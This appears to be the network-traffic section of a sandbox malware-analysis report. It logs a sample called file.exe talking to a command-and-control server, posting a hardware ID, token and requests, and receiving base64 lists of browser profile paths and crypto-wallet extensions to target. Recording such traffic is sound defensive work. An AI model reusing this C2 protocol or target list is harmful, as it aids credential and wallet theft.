Oct 25, 2024 07:28:24.939718962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.939721107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.939732075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.939753056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.939766884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.939788103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.939799070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.939821959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.939857006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.939862013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.939891100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.939924002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.939932108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.939945936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.939954042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.939974070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.939996958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.940001965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.940045118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.940048933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.940090895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.940098047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.940131903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.940160036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.940171003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.940191984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.940191984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.940193892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.940227985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.940238953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.940262079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.940274954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.940300941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.940304041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.940335035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.940340996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.940368891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.940376043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.940397978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.940407991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.940437078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.940438986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.940474033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.940479040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.940505028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.940514088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.940538883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.940546036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.940568924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.940602064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.940620899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.940632105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.940638065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.940642118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.940671921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.940706015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.940715075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.940735102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.940742970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.940751076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.940777063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.940788031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.940810919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.940823078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.940844059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.940854073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.940874100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.940888882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.940905094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.940938950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.940944910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.940968990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.940973043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.940983057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.941005945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.941024065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.941040039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.941056013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.941076040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.941092968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.941106081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.941121101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.941139936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.941148043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.941175938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.941184044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.941209078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.941216946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.941243887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.941257000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.941277027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.941293955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.941313982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.941324949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.941349030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.941355944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.941384077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.941386938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.941416979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.941426039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.941452026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.941463947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.941482067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.941493988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.941515923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.941519022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.941560984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:24.941567898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:24.941608906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:25.472208977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:25.472235918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:25.478523970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:25.478554010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:26.257481098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:26.257620096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:26.324350119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:26.329797029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:26.606443882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:26.606499910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:26.606517076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:26.606523991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:26.606543064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:26.606575966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:26.609785080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:26.615179062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:26.891536951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:26.891601086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:26.906877995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:26.912348032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:27.686148882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:27.686266899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:27.716516972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:27.722079992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:28.134479046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:28.134512901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:28.134541988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:28.134577990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:28.134612083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:28.134644032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:28.134651899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:28.134651899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:28.134651899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:28.134651899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:28.134651899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:28.134676933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:28.134696007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:28.134726048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:28.134825945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:28.134969950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:28.137945890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:28.143337965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:28.915796041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:28.916779995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:34.089793921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:34.092071056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:35.266413927 CEST	49704	80	192.168.2.5	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.37	80	1892	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 07:28:06.357826948 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 25, 2024 07:28:07.263237953 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 05:28:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 07:28:07.266388893 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGCGHCGHCBFHJJKKJEH Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 39 30 37 45 42 45 32 39 33 36 35 33 30 30 31 36 37 35 32 39 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 48 2d 2d 0d 0a Data Ascii: ------JDGCGHCGHCBFHJJKKJEHContent-Disposition: form-data; name="hwid"0907EBE293653001675293------JDGCGHCGHCBFHJJKKJEHContent-Disposition: form-data; name="build"doma------JDGCGHCGHCBFHJJKKJEH--
Oct 25, 2024 07:28:07.562534094 CEST	407	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 05:28:07 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 7a 51 34 4d 6a 52 6c 4d 7a 51 78 59 54 59 34 4f 54 56 6c 4f 57 4a 68 4d 57 49 31 4d 47 46 6c 59 57 5a 69 4e 54 41 77 5a 6a 56 6d 4d 32 4d 32 4f 44 6b 31 4d 32 55 78 4d 6a 56 69 4e 54 4d 77 4f 44 49 30 5a 6a 49 30 59 6d 5a 69 4d 32 4d 32 4e 44 52 68 4d 54 45 31 4d 7a 6b 79 4f 44 42 68 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YzQ4MjRlMzQxYTY4OTVlOWJhMWI1MGFlYWZiNTAwZjVmM2M2ODk1M2UxMjViNTMwODI0ZjI0YmZiM2M2NDRhMTE1MzkyODBhfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 25, 2024 07:28:07.564939976 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKJJKFHIJKKFHJJECBA Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 4a 4b 46 48 49 4a 4b 4b 46 48 4a 4a 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 38 32 34 65 33 34 31 61 36 38 39 35 65 39 62 61 31 62 35 30 61 65 61 66 62 35 30 30 66 35 66 33 63 36 38 39 35 33 65 31 32 35 62 35 33 30 38 32 34 66 32 34 62 66 62 33 63 36 34 34 61 31 31 35 33 39 32 38 30 61 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 4a 4b 46 48 49 4a 4b 4b 46 48 4a 4a 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 4a 4b 46 48 49 4a 4b 4b 46 48 4a 4a 45 43 42 41 2d 2d 0d 0a Data Ascii: ------IJKJJKFHIJKKFHJJECBAContent-Disposition: form-data; name="token"c4824e341a6895e9ba1b50aeafb500f5f3c68953e125b530824f24bfb3c644a11539280a------IJKJJKFHIJKKFHJJECBAContent-Disposition: form-data; name="message"browsers------IJKJJKFHIJKKFHJJECBA--
Oct 25, 2024 07:28:07.847259998 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 05:28:07 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 25, 2024 07:28:07.847291946 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 25, 2024 07:28:07.848556995 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHDHIDAEHCFHJJJJECA Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 38 32 34 65 33 34 31 61 36 38 39 35 65 39 62 61 31 62 35 30 61 65 61 66 62 35 30 30 66 35 66 33 63 36 38 39 35 33 65 31 32 35 62 35 33 30 38 32 34 66 32 34 62 66 62 33 63 36 34 34 61 31 31 35 33 39 32 38 30 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 2d 2d 0d 0a Data Ascii: ------KEHDHIDAEHCFHJJJJECAContent-Disposition: form-data; name="token"c4824e341a6895e9ba1b50aeafb500f5f3c68953e125b530824f24bfb3c644a11539280a------KEHDHIDAEHCFHJJJJECAContent-Disposition: form-data; name="message"plugins------KEHDHIDAEHCFHJJJJECA--
Oct 25, 2024 07:28:08.131083012 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 05:28:07 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsa